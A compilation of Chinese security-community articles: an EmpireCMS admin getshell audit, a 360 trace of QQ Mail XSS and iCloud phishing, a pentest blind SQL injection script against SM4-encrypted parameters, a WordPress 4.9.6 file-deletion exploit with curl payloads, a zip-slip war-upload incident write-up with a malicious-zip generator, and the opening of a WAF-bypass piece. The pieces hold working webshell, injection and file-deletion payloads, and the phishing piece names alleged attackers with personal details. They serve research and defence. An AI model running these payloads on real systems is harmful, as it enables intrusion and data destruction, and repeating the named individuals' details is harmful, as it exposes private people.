可以发现是有处理函数的，跟进看一下
function RepPhpAspJspcode($string){
global $public_r;
die(var_dump($public_r[candocode]));
if(!$public_r[candocode]){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\\","<\\",$string);
$string=str_replace("\\>","\\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
}
return $string;
}
可以发现是有做替换操作的，那为什么会可以getshell呢，通过echo出`$public_r[candocode]`
为`1`也就说说这个if判断条件进不去
默认设置为1,那么这个函数就相当于没有
可以发现在functions.php的第305行-319行
function RepPhpAspJspcodeText($string){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\\","<\\",$string);
$string=str_replace("\\>","\\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
$string=str_replace("<!--code.start-->","<!--code.start-->",$string);
$string=str_replace("<!--code.end-->","<!--code.end-->",$string);
return $string;
}
有个同样的替换操作的函数，如果使用这个函数也是很安全的。
继续往下走
进入函数
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
跟进`e\class\functions.php`
function ReUserpage($id,$pagetext,$path,$title="",$pagetitle,$pagekeywords,$pagedescription,$tempid=0){
global $public_r;
if(empty($path))
{
return "";
}
$path=eReturnTrueEcmsPath().'e/data/'.$path;
DoFileMkDir($path);//建目录
eAutodo_AddDo('ReUserpage',$id,0,0,0,0);//moreportdo
if(empty($pagetitle))
{
$pagetitle=$title;
}
//模板式
if($tempid)
{
$pagestr=GetPageTemp($tempid);
}
else
{
$pagestr=$pagetext;
}
$pagestr=InfoNewsBq("page".$id,$pagestr);
$pagestr=RepUserpageVar($pagetext,$title,$pagetitle,$pagekeywords,$pagedescription,$pagestr,$id);
$pagestr=str_replace("[!--news.url--]",$public_r['newsurl'],$pagestr);
//die(var_dump($pagestr));
WriteFiletext($path,$pagestr);
}
发现代码进入`$pagestr=InfoNewsBq("page".$id,$pagestr);`
跟进这个函数
function InfoNewsBq($classid,$indextext){
global $empire,$dbtbpre,$public_r,$emod_r,$class_r,$class_zr,$fun_r,$navclassid,$navinfor,$class_tr,$level_r,$etable_r;
if(!defined('EmpireCMSAdmin'))
{
$_GET['reallinfotime']=0;
}
if($_GET['reallinfotime'])
{
$classid.='_all';
}
$file=eReturnTrueEcmsPath().'e/data/tmp/temp'.$classid.'.php';
if($_GET['reallinfotime']&&file_exists($file))
{
$filetime=filemtime($file);
if($_GET['reallinfotime']<=$filetime)
{
ob_start();
include($file);
$string=ob_get_contents();
ob_end_clean();
$string=RepExeCode($string);//解析代码
return $string;
}
}
$indextext=stripSlashes($indextext);
$indextext=ReplaceTempvar($indextext);//替换全局模板变量
//替换标签
$indextext=DoRepEcmsLoopBq($indextext);
$indextext=RepBq($indextext);
//写文件
WriteFiletext($file,AddCheckViewTempCode().$indextext);
//读取文件内容
ob_start();
include($file);
$string=ob_get_contents();
ob_end_clean();
$string=RepExeCode($string);//解析代码
return $string;
}
然后下面的`include`将会包含这个文件，也就是说我们同样可以利用
<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>
这样来getshell，或者直接返回执行命令的回显。
* 这个cms后台getshell的点很多，不再细找，简单拿出2个来举例。 | 社区文章 |
# 使用QQ邮箱漏洞盗取iCloud解锁失窃iPhone团伙溯源
|
##### 译文声明
本文是翻译文章，文章来源：360天眼安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
在《QQ邮箱0day漏洞,打开邮件iCloud被盗案例分析》<http://bobao.360.cn/learning/detail/2262.html>中,360天眼安全实验室揭露了一起利用未公开QQ邮箱跨站漏洞进行的钓鱼攻击。接下来,我们对此事件做了进一步的挖掘,分析谁是可能的幕后黑手。
我们发现攻击者至少使用了两种攻击方式进行钓鱼:利用跨站漏洞窃取Cookies、伪装iCloud登录页面。
**1、利用跨站漏洞钓取Cookie**
攻击者会发一封带有XSS漏洞的邮件,目标点击后,会把QQ邮箱的Cookies发到攻击者的后台,攻击者收到Cookies后,通过Cookies登陆QQ邮箱,来重置iCloud密码。
上一篇文章中提到过,攻击者将一个嵌入了iframe的”空”页面地址发送给受害者,受害者在打开这个页面的同时会访问一个qq邮箱预览功能开头的url地址:
[http://open.mail.qq.com/cgi-bin/dy_preview?column_id=1445100421t3853355936t31244&column_url=http://xxxxxxxxxx/mail.xml&column_img_url=&t=unite_tmpl_magazine&qqtype=lockKey10](http://open.mail.qq.com/cgi-bin/dy_preview?column_id=1445100421t3853355936t31244&column_url=http://www.dz.sasca.win/com/nb/wocaonima/mail.xml&column_img_url=&t=unite_tmpl_magazine&qqtype=lockKey10)
其中column_url为预览功能需要的远程xml文件(这里是mail.xml),mail.xml内容如下:
通过解码“onerror”后的十六进制数据得到一个短网址:http://t.cn/RUWp7BJ
打开之后,发现是webxss生成的一个XSS模块,如图:
发现攻击者是通过webxss的测试平台来生成XSS攻击代码并接收漏洞得到利用后返回的Cookie数据的。
笔者申请了一个webxss账号,以下是平台的界面:
****
**2、伪装iCloud页面直接钓取账号**
除了用跨站手段盗取Cookies的方式,攻击者还有伪造iCloud页面骗取账号和密码的方式。我们通过对mail.xml的服务器的进一步挖掘,找到了攻击者的另外2个钓鱼页面:
[hxxp://www.icloud.com.kxhksa.cn/?CQYRH=10044.html](http://www.icloud.com.kxhksa.cn/?CQYRH=10044.html)
[hxxp://www.icloud.com.myiphone.ren/?ILJIU=33885.html](http://www.icloud.com.myiphone.ren/?ILJIU=33885.html)
其中第一个已经被360网盾拦截,所以攻击者现在一直在用第二个地址进行钓鱼。
分析发现第二个钓鱼页面会判断IP地址,笔者所在地区的IP地址,会被跳转到[www.qq.com](http://www.qq.com/)
如图:
挂上代理,打开相同的页面,发现返回了一个伪装iCloud的钓鱼页面,如图:
钓鱼网站是NetBox v3.0搭建的:
输入伪造的账号和密码,发现会把账号密码通过POST请求发送到一个远程地址:
hxxp://apple.myiphone.ren/ICloud13/save.asp
通过查找hxxp://[www.icloud.com.kxhksa.cn/?CQYRH=10044.html](http://www.icloud.com.kxhksa.cn/?CQYRH=10044.html)
这个钓鱼页面的whois信息,发现网站的所有者是一位叫肖远玉的人(尚不确认注册信息是否真实),注册邮箱为:409****[email protected] 。
域名注册时间是2015年11月3日,目前处于活跃状态:
注册者的QQ号,通过QQ资料,猜测应该是一个小号或者盗取的别人账号:
此QQ号码之前的主人名为胡超:
通过查找hxxp://www.icloud.com.myiphone.ren/?ILJIU=33885.html
另外一个钓鱼页面的whois信息,发现网站的所有者注册的邮箱为:99******@qq.com,注册人被置为:zhong en sheng 。
通过查找QQ信息,发现QQ的所有者是一个专门做QQ的XSS的人,根据QQ昵称推测,这人可能姓钟,与whois信息相符。
通过查询QQ群关系数据库,发现这个QQ的所有者名为:钟恩胜。
以下是相关QQ疑似所有者在其空间找到的生活照,在深圳市友谊酒店拍摄:
通过进一步地分析关联,我们发现了伪造icloud登录页面得到的账号与密码的后台地址:
hxxp://118.xxx.xxx.xxx/manager/index.asp
管理界面如图:
经过后台数据关联分析,发现和此攻击者有关的另外一个QQ号:
但由于我们无法找到更多的证据证明此QQ和本次XSS事件有关,挖掘工作就此告一段落。.
综上,攻击者主要通过2种方法解绑丢失的iPhone手机
1、通过XSS钓QQ邮箱的Cookie,然后通过Cookies登陆QQ邮箱,重置iCloud密码解绑
2、通过发送钓鱼邮件插入伪造的iCloud直接调取iCloud账号密码去解绑丢失的手机
由此,一条通过黑客手段处理灰色来源手机的黑产似乎隐约可见。
另外,再提一个之前遇到过用第二种方法钓鱼的典型案例:
用户反馈,说丢失的手机在新华路上线,让点击网站查看手机的具体位置,攻击者伪装apple的客服发送的一封邮件,发送的链接是一个ifeng.com的一个页面,用户转发给我的邮件如图:
攻击者发送了一个钓鱼连接,粗略的一看,会以为是正常的凤凰网的地址,大部分人可能会去打开,打开后会弹出一个与本次事件一样的钓鱼页面。
钓鱼链接如下:
[http://bc.ifeng.com/c?db=ifeng&bid=85271,95182,3436&cid=2501,59,1&sid=33869&advid=349&camid=3546&show=ignore&url=http://newsletter.baidu.com/u.html?stime=2578162195&uid=baidu&eid=6459383&[email protected]&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovL2NucmRuLmNvbS9yZC5odG0/aWQ9MTQ2ODg3MiZyPWh0dHAlM0ElMkYlMkZ3d3cuZ3VvZnYuY29tJTJGcmV3JTJG](http://bc.ifeng.com/c?db=ifeng&bid=85271,95182,3436&cid=2501,59,1&sid=33869&advid=349&camid=3546&show=ignore&url=http://newsletter.baidu.com/u.html?stime=2578162195&uid=baidu&eid=6459383&[email protected]&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovL2NucmRuLmNvbS9yZC5odG0/aWQ9MTQ2ODg3MiZyPWh0dHAlM0ElMkYlMkZ3d3cuZ3VvZnYuY29tJTJGcmV3JTJG)
发现最后面一个参数是base64加密的,解开之后发现是一个网址:
#1#http://cnrdn.com/rd.htm?id=1468872&r=http%3A%2F%2Fwww.guofv.com%2Frew%2F
为攻击者精心的把钓鱼地址构造到ifeng.com的子域名里,去借助ifeng.com这个白域名去跳转到真正的钓鱼页面,这样做是为了过QQ邮箱不可信域名拦截,因为发送过去的是一个白域名,各类安全软件不会对一个白域名进行拦截。
从之前的用户反馈到本次截获的的攻击事件,可以看出攻击者的手法已经由被动的骗取密码,演变成了主动出击获取邮箱登录权限,从而使危害性更高,黑产不会放过任何一个可以使自己增加钱财的技术手段。
****
**企业可以通过这种以下方式来防御xss。**
[http://bobao.360.cn/learning/detail/2265.html](http://bobao.360.cn/learning/detail/2265.html) | 社区文章 |
### 0x00 前言
* * *
在一次授权渗透测试中，应用在前端使用sql语句拼接方式传送参数，很明显存在sql注入，提交漏洞后，用户大概不想重构项目，于是将前端参数传输前均进行加密，但是通过JS找到加密密钥后，结合py脚本还是注入了；后续用户再次升级将设计加密的JS也加密混淆了，不过还有办法找到密钥，借此分享，过程中踩坑绕弯，欢迎大表哥们交流指导。
### 0x01 第一次常规测试
1. 如下图点击功能抓数据包，可以发现参数中明显有SQL语句，后使用1=1 和 1=2 确定了注入点，但是没有返回值，只能盲注了。。
2. py写个脚本，简单爆破了一下数据库长度、数据库名等信息
### 0x02 第二次参数使用SM4加密
1. 接到复测通知，看了下系统，发现参数被加密了，如下图
2. 这里找加密方法的图没截，大概就是找到对应的ajax方法，可以看到md5_bean参数的生成通过base.js的encryptData_ECB方法生成，打开base.js清晰可见sm4字样以及secretkey和iv，如下图
3. 接下来是如何注入，本来想构造一个sqlmap的tamper脚本，但是发现这个是把所有参数一起加密了，没得思路了，于是还是用py写盲注脚本吧，但是网上找的python实现sm4加密的结果都不一样，考虑到这个后台是java的，肯定是java做的解密，于是找了java的sm4实现，试了一下，结果可以了，于是尝试用py调用打包好的jar包进行注入（这里绕了一个大圈，实际上使用py调用js就行，第三次测试的时候更新了）
import requests
import json
import os
from urllib.parse import quote
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
pay = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._!@#$%^&*()'
proxies = {
'http':'http://127.0.0.1:8080'
}
#request构造请求，传入data中的_searchWhere
def attack(payload):
url = "http://"
data = "{\"_searchWhere\":\" %s\",\"title\":\"\",\"paramsFlag\":\"false\",\"parVar\":\"\",\"frameId\":\"=\",\"readOnly\":\"\",\"extWhere\":\"\,\"type\":\"\",\"parWhere\":\"\",\"dataFlag\":\"\"}" % payload
data = quote(data,'utf-8')
command = "java -Dmoudle=e -Dstr=%s -jar sm4Decode.jar" % data
data_sm4 = "".join(os.popen(command).readlines())
data_send = {"md5_bean":data_sm4}
cookies = {"": ""}
result = requests.post(url=url, data=data_send, cookies=cookies, headers=header ,proxies=proxies)
return len(result.text)
if __name__ == '__main__':
# 判断数据库
for i in range(1,20):
payload = "and (select length(name) from v$database)=%s" % str(i)
print(payload)
lenstr = attack(payload)
if lenstr > 3000:
print(lenstr)
print("数据库长度是%s"% str(i))
break
else:
print(lenstr)
4.此时客户疑问，这个sql注入1=1
1=2返回结果是不同、暴露一个数据库版本等信息又有什么用，于是多注了一点信息，证明危害，获取用户表名的过程比较啰嗦，这里只有是结果图。
a. 用户表数据
b. owner表数量
### 0x03 第三次JS加密混淆隐藏密钥
1. 最后一次复测，用户表示已经没问题了，让再看一下，由于时间有点长，重新找一下加密算法位置
使用抓包抓到的URL，在chrome调试工具中search一下位置，打下断点，点击功能看一下是否触发断点。
2. 接下来一步一步跟下去，找到参数构造md5_bean参数的位置
3. next找到base64.js，发现代码已经压缩而且加密了。。
4. 遇到JS加密了如果有实力的大佬可以解密js或者 <https://www.sojson.com/jsobfuscator.html> 付费解密，不过只是想得到密钥和iv的话，可以在断点进入base64.js后，调试窗口肯定会显示密钥和iv值，因为不管怎么混淆，代码还是要被正常执行的。
5. 接下来又是注入了，之前用的脚本思路太麻烦了，这次简单点，直接调SM4加密的js，由于这段js已经混淆了，于是从网上找来base64.js的源码简单改了一下，使用python的execjs调用加密。
a. java解开加密内容如图
b. python调用js加密明文内容，对比结果（调用js的代码如图，上面没有了，因此没有粘过来，感觉内容有点啰嗦了）
6.如此便不用java介入了，之后的操作就是利用之前的盲注脚本，修改一下data参数的加密获取就行了，重复的盲注过程。
### 0x04 总结
1. 实际上现在得web框架中很少这种前端传js的了，但是在很多老企业中还是有部分网站不想重构，这样的例子有很多，第一次开发说出这种修复sql注入的方法时，还很犹豫的回答，还可以注入吧。。。，没想到真的有人这样修复，随着一次一次的治标不治本，自己也在不断探索学习。
2. 有的时候感觉除非大厂，很多网站如果一抓包看到把参数一起加密了，很有可能是在想隐藏什么漏洞。。。
3. 还有一个小坑，加密js在JavaScript中需要手动new一个对象，再用py调用对象+方法。 | 社区文章 |
# Wordpress <= 4.9.6 任意文件删除漏洞
WordPress是如今使用最为广泛的一套内容管理系统。根据 w3tech 统计，全世界大概有30%的网站运行着WordPress程序。
昨日RIPS团队公开了一个Wordpress的[任意文件删除漏洞](https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/)（需要登录），目前该漏洞仍然未修复（2018年06月27日），该漏洞影响 Wordpress
最新版 4.9.6.
本文我们将结合 VulnSpy 的[在线 WordPress
环境](http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/)来演示该漏洞的利用。
VulnSpy Wordpress 4.9 在线环境:
<http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/>
## 漏洞分析
1. 文件wp-includes/post.php中：
function wp_delete_attachment( $post_id, $force_delete = false ) {
...
$meta = wp_get_attachment_metadata( $post_id );
...
if ( ! empty($meta['thumb']) ) {
// Don't delete the thumb if another attachment uses it.
if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
/** This filter is documented in wp-includes/functions.php */
$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
}
}
...
}
`$meta['thumb']`来自与数据库，是图片的属性之一。代码未检查`$meta['thumb']`的内容，直接带入`unlink`函数，如果`$meta['thumb']`可控则可导致文件删除。
1. 文件/wp-admin/post.php中：
...
switch($action) {
...
case 'editattachment':
check_admin_referer('update-post_' . $post_id);
...
// Update the thumbnail filename
$newmeta = wp_get_attachment_metadata( $post_id, true );
$newmeta['thumb'] = $_POST['thumb'];
wp_update_attachment_metadata( $post_id, $newmeta );
...
`$newmeta['thumb']`来自于$_POST['thumb']，未经过滤直接将其存入数据库，即上一步的`$meta['thumb']`可控。
详细分析可见：WARNING: WordPress File Delete to Code Execution -<https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/>
## 漏洞利用
**1\. 使用VSPlate安装你的Wordpress 4.9**
Wordpress 4.9 在线环境: <http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/>
**2\. 登录后台，添加媒体**
访问 <http://9c9b.vsplate.me/wp-admin/upload.php>, 上传任意图片.
**3\. 将 $meta['thumb'] 设置为我们要删除的文件**
3.1 点击第二步中我们上传的图片, 并记住图片ID.
3.2 访问 [http://9c9b.vsplate.me/wp-admin/post.php?post=4&action=edit](http://9c9b.vsplate.me/wp-admin/post.php?post=4&action=edit). 在网页源代码中找到 `_wpnonce`.
3.3 发送Payload:
curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'
**4\. 删除文件**
4.1 在网页源码中找到另外一个 `_wpnonce`.
4.2 发送Payload:
curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'
**5\. 刷新网页**
已经可以重装网站。
**本文转载自：Wordpress <= 4.9.6 任意文件删除漏洞 -<http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/>** | 社区文章 |
# 记一次由追踪溯源发现的“不安全解压getshell”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 声明！
本文仅供学习和研究，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，海青实验室及文章作者不承担任何责任。
安全狗海青实验室拥有此文章的修改和解释权，如欲转载或传播，必须保证此文的完整性，包括版权声明在内的全部内容，未经海青实验室同意，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
*本文所涉及到的案例中所有截图均是在复现、分析过程中获得的*
近日我们帮助某客户追踪溯源一例入侵事件时，发现黑客在获取服务器权限之前利用网站的“ZIP解压功能”上传了Webshell。由于此次的漏送利用方式在“攻击载荷的构造”与“实际解压路径”方面较有代表性，并且业界对“不安全解压”漏洞的关注度仍不够。因此我们编写了这篇报告，在报告中讲解了入侵溯源与漏洞发现的过程，并从安全开发和安全狗产品防护方案两个维度提出了一些安全建议，希望对行业有所补益。
值得注意的是，虽然该CMS已经做了相关防御配置，若在CMS的根目录下直接写入JSP文件是无法执行的，会报403错误。攻击者利用了war包会自动部署的特点，通过“目录穿越”的思路使war包跳出该CMS的根目录。
## 一、入侵溯源
某公司运维人员在深夜值班时发现系统存在一定异常，为了尽快排查问题，客户联系了我司，海青实验室随后介入，进行溯源和分析，并提供后续的处置方案。
通过查看Tomcat的日志文件/logs/localhost_access_log.yyyy-MM-dd.txt可以发现，查看日志可以发现，攻击者曾经对网站的登录接口实施了爆破（对“POST /cmscp/login.do”接口的访问频率很高），如图所示。
注：爆破成功时的HTTP状态码是302，而爆破失败时的HTTP状态码是303。
为了判断攻击者是否上传网站木马，使用网站安全狗的Webshell AI
检测引擎对Tomcat的webapps目录进行扫描，可发现名为“/admin/login.jsp”的文件被识别为Webshell（黑客对这一Webshell的命名具有一定的迷惑性），如图所示。
经过进一步人工确认，可判断该jsp文件确为Webshell。并且它与admin.war这一文件的自动部署有关，如图所示。
那么这一war包是如何被上传到服务器的呢？继续对日志文件进行分析，在分析的时候重点关注“可能为文件上传功能的接口”。可以初步判断，黑客曾在使用该Webshell之前使用ZIP上传和ZIP解压功能，如图所示。
找到服务器上被文件解压接口调用的test5.zip文件，对之进行分析可以发现admin.war所处的路径是“test5.zip……”。因而，该ZIP文件是黑客精心构造的恶意文件，它将使得该war包的解压路径不再是预设的“/uploads/1”目录，而是Tomcat的“webapps”目录，如图所示。
注：本文的恶意zip文件的生成方式
（1）执行以下python脚本，生成test5.zip：
import zipfile
if __name__ == "__main__":
try:
binary = b'<script>alert("helloworld")</script>'
zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test5.zip")
zipFile.writestr("../../../safedog.html", binary)
zipFile.close()
except IOError as e:
raise e
（2）将包含有Webshell的war包拖拽到“test5.zip”，如图所示。
## 二、代码审计
经过前面的入侵溯源分析可以初步断定，这次攻击与该CMS的“ZIP解压接口”（GET
/cmscp/core/web_file_2/unzip.do?ids={ids}&parentId={parentId}）密切相关。该接口对应了WebFileUploadsController.java的unzip方法，如图所示。
对unzip方法进行跟进，发现它的具体实现在WebFileControllerAbstractor.java中。可以发现，在对zip文件进行解压的时候，调用了AntZipUtil类的unzip方法，如图所示。
对AntZipUtil类的unzip方法进行跟进，可发现该方法未对ZIP压缩包里的文件名进行参数校验，就进行文件的写入。这样的代码写法会引发目录穿越漏洞，如图所示。
目前，海青实验室已将该漏洞提交CNVD，并通知厂商进行修复。
## 三、总结
通过这则实例可以发现，解压功能的安全性可能对网站安全造成较大危害（以Spring Integration
Zip开发组件为例，它也曾被爆出CVE-2018-1261这一“不安全解压漏洞”）。若网站的业务涉及了解压功能，建议更加重视安全开发的维度，除此以外安全狗也提供了相应的产品防御方案。
在安全开发方面，建议研发人员在实现解压算法时，从以下几个方面进行自查与限制：
（1）是否限制压缩包内文件的扩展名
例如：.war、.jsp、jspx、.jsp::$DATA（只影响Windows主机）
（2）是否限制压缩包内文件的实际解压路径
（3）是否限制压缩包内文件的总大小（以防压缩包炸弹引发的拒绝服务攻击）
（4）是否赋予Web应用目录合理的权限
此外，我们也建议用户选择可靠专业的安全产品，例如安装了安全狗产品的用户，一旦发生安全事件，将会自动收到系统发出的告警短信，以尽快介入处置，避免产生更大的损失。
在“安全狗产品防御”方面，建议用户使用“网站安全狗”和“云御”的网站后台防护以及服务器狗的文件目录守护功能，云御和网站安全狗的网页后台路径保护功能可以实现针对网站后台暴破行为的防护。
云御后台防护功能如图所示:
网站安全狗后台防护功能如图所示：
服务器文件夹目录守护功能： | 社区文章 |
# 你必需要知道的求职潜规则，第一条的诱惑你就禁不住
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
春节过后往往是求职旺季，有一些不法分子打着“招聘”的幌子来骗取钱财。骗人招数五花八门，其实只要大家擦亮眼睛，小心谨慎，还是可以躲过这些坑的。今天，卫士妹就教你如何火眼金睛识骗局。
## “每天2小时，轻松过万”
网上那些“每单任务只需5分钟”、“任务酬劳10元至50元不等”、“每天2小时，轻松过万”等兼职刷单信息，工作内容往往就是买各种充值点卡刷信誉，信誉值达到某个标准，即可返还现金，另有佣金提成。但当你大额支付后，佣金和本金便不会到账。对于
**“高回报”、“收益快”** 的兼职机会，要谨慎小心，往往可能有猫腻。
## “到我办公室来一趟”
面试结束等通知，接到陌生电话，对方声称“猜猜我是谁”、“我是你领导，明天到我办公室来一趟”，应聘者求职心切，以为是此前面试部门打来的，容易连连答应不法分子的要求，不知不觉陷入骗局。对于此类“冒充领导”的骗局，其实是可以多方验证的，比如查看来电归属地、用方言搭话、反复询问等，
**如果对方提出转账要求，那必是骗子无疑。**
## “要找工作，先交押金”
一些中介或者虚假公司会在网站醒目的地方张贴条件诱人的招聘启事，应聘者报名后，告知需 **预交一定的报名费、体检费**
等。一般在收取费用之后，会称应聘的职位已满，或安排应聘者到偏远、工作环境差的岗位。更有甚者一些劳务中介所与骗子公司合伙演“双簧”进行诈骗。
#
## “你晚上过来面试吧”
除特殊情况，很少有公司会把面试约在晚上。对于那些约在宾馆面试的，就要慎重考虑了，直接屏蔽也没毛病；若是碰到一些现身说法抓住良机一夜暴富的，
**小心可能是传销在向你招手。**
若对方安排面试的地点很偏远，甚至连听都没听说过，那就干脆不要去了，特别是女孩子，一旦发生问题，估计报警连个位置都说不出来。
## 求职防骗？攻略献上
1.选择正规的招聘渠道
2.多方面了解应聘公司背景
3.以各种名义收费的大多是骗子
4.不将贵重物品、有关证件交由他人
5.发现被骗，收集有利证据立即报警 | 社区文章 |
翻译来源：<https://www.fireeye.com/blog/threat-research/2018/07/malicious-powershell-detection-via-machine-learning.html>
* * *
PowerShell是网络攻击者广泛使用的攻击方法，被广泛用于安装后门、执行恶意代码和进行其他恶意行为。安全是攻击者、研究人员和蓝队之间的对抗。PowerShell因其能力和灵活性使常规检测变得很难，但同时也非常重要。本文讲述FireEye如何利用人工智能和机器学习技术增加攻击者使用PowerShell进行恶意活动的门槛。
本文将介绍：
* 为什么基于签名和规则的传统检测引擎很难成功检测出恶意PowerShell。
* 自然语言处理（Natural Language Processing，NLP）技术如何应用到恶意PowerShell检测中。
* NLP模型如何检测恶意PowerShell命令。
* 攻击者绕过安全解决方案的成本会增加。
# 背景
PowerShell是实施网络攻击最流行的工具之一。图1是FireEye收集的2017年恶意PowerShell攻击数据。
图1: FireEye收集的2017年恶意PowerShell攻击数据（蓝色表示检测到的攻击数量，红色表示平滑指数增长曲线）
过去几年里，FireEye一直在关注PowerShell的恶意使用。2016年，研究人员发表了一篇博客讲述如何改善PowerShell日志记录，这可以让一些潜在的攻击者活动变得可视化。2018年，研究人员对APT
32组织使用PowerShell进行攻击的恶意活动进行了深入分析，如图2。
图2: APT32攻击生命周期，Kill chain中使用了PowerShell attack
下面是一个PowerShell命令的例子，如图3所示。
图3:恶意PowerShell命令的例子
下面的一些参数的解释：
* -NoProfile – 当PowerShell引擎开启后，当前用户的profile setup脚本不应执行；
* -NonI –“-NonInteractive”的简写，对不在线用户的交互式提醒；
* -W Hidden – “-WindowStyle Hidden” 的简写，PowerShell会话窗口应该以隐藏的方式开始；
* -Exec Bypass – “-ExecutionPolicy Bypass”对简写，这会关闭当前PowerShell会话的执行策略。但执行策略并不等于安全边界；
* -encodedcommand – 表明下面的文本是Base64编码的命令。
那么解码后的命令中隐藏着什么呢？图4是Base64解码的命令。
图4: 前面例子中解码的命令
解码的命令显示是静默的无文件网络访问和远程代码执行。
* IEX 是Invoke-Expression cmdlet的集合，Invoke-Expression cmdlet可以执行本地机器上提供的命令；
* new-object cmdlet会创建一个.NET Framework实例或者COM对象，这里创建的是net.webclient 对象；
* downloadstring 会从\<url>下载内容到内存缓冲区，然后IEX会执行。</url>
值得一提的是近期利用CVE-2017-10271
漏洞分发加密货币挖矿机的攻击中就使用了类似的恶意PowerShell技巧。该攻击利用PowerShell脚本而不是直接下载可执行文件。PowerShell命令是静默的，因为使用了无文件技术，不会在主机上留下任何残留，这让传统的反病毒技术很难检测。
下面是一些恶意攻击者选择PowerShell的原因：
* PowerShell广泛应用于Windows操作系统中，是一款有力的系统管理脚本工具；
* 大多数的攻击逻辑可以在无需安装恶意二进制文件的情况下用PowerShell完成，但这会在终端上留下痕迹；
* PowerShell灵活的语法增加了基于签名的检测规则的复杂性。
从经济成本考虑：
* 攻击者修改PowerShell绕过基于签名的规则的成本是非常低的，因为有许多的开源混淆工具；
* 从防御者的角度看，即使是专家，对于出现的新威胁，更新基于签名的规则也是非常耗时的。
# 用自然语言处理技术检测恶意PowerShell
可以用机器学习技术来预测PowerShell是不是恶意的吗？
FireEye的优势在于有许多高质量的PowerShell样本，通过与专家写作，研究人员构建了一个企业网络中常见的恶意命令和善意命令的训练集。
研究人员发现这个问题可以归结为NLP领域，因此构建了一个可以翻译PowerShell 命令文本的NLP模型，这与智能影响翻译声音命令是相似的。
其中一个技术上的难题是同义词问题。比如，在PowerShell语法中，NOL、NOLO和NOLOGO的意义是相同的。在NLP中，有一种stemming算法可以将单词变回原始形式，比如将Innovating变回Innovate。
因此，研究人员用一种高效的数据结构trie创建了一个基于前缀树的stemmer，用于分析PowerShell命令的语法，如图5所示。
注：stemmer是从英文单词中获得符合语法的(前缀)词干的极其便利的工具。
图5: PowerShell语法中的同义词（左）和trie stemmer获取的同义词（右）
整个NLP模块和功能如下表：
下面是通过NLP模型对前面例子进行分析的关键步骤：
* 检测并解码Base64命令；
* 用Named Entity Recognition（NER）识别实体，如\<url>；</url>
* 对包括明文文本和混淆命令在内的所有文本进行标记解析（tokenize）；
* 找到每个token的根，并基于词汇向量化；
* 使用有监督学习模型预测是恶意命令的可能性。
图6: 预测PowerShell命令恶意可能性的NLP pipeline
研究人员还建立了生产环境下的端对端机器学习工作流，如图7所示。这样就可以通过不断的标记和训练来更新模型。
图7: PowerShell机器学习的端对端机器学习生产工作流
# 有效性验证
研究人员应用并不断优化了机器学习模型来适应研究中的终端代理，代理在主机上可以几毫秒内完成预测。2018年，研究人员已将PowerShell机器学习检测引擎用于应急响应中。早期的验证确认检测到了一些恶意PowerShell攻击，包括：
* Kovter这样的商业恶意软；
* 红队渗透测试活动；
* 成功绕过遗传签名的新变种，机器学习模型检测的结果为高概率；
PowerShell机器学习检测引擎：
* 自动从训练数据中学习恶意命令的模式。与传统的基于签名的检测规则相比，NLP模型可以降低运营成本，减少安全内容的发布时间。
* 会对未知的PowerShell命令通过学习特定模式的非线性组合来执行概率推理，这会增加攻击者绕过检测的成本。 | 社区文章 |
**作者：leveryd
原文链接：<https://mp.weixin.qq.com/s/9uq-D1oB22_1DsU-5U73Kg>**
### 背景
看了[你的扫描器可以绕过防火墙么？（一）](https://paper.seebug.org/1600/)的可能会觉得文章中用base64绕过场景有限。这篇文章介绍一种绕过场景更多一点的方法。
用过商业waf产品的应该都知道，waf一般都会支持多种解码类型，比如base64、url、unicode等。
所以`Li4vLi4vLi4vZXRjL3Bhc3N3ZA==`("../../../etc/passwd"的base64编码)这种payload，会被waf解码后拦截。
这里存在一个设计问题：如果waf只检测解码后的数据，不检测原始数据，就会存在一种通用绕过，很多web防护都有可能失效。
我研究了下面的问题：
* 怎么验证waf是否"只检测解码后的数据，不检测原始数据"？
* 哪些waf存在这种绕过风险？
* 怎么利用？
### 分析过程
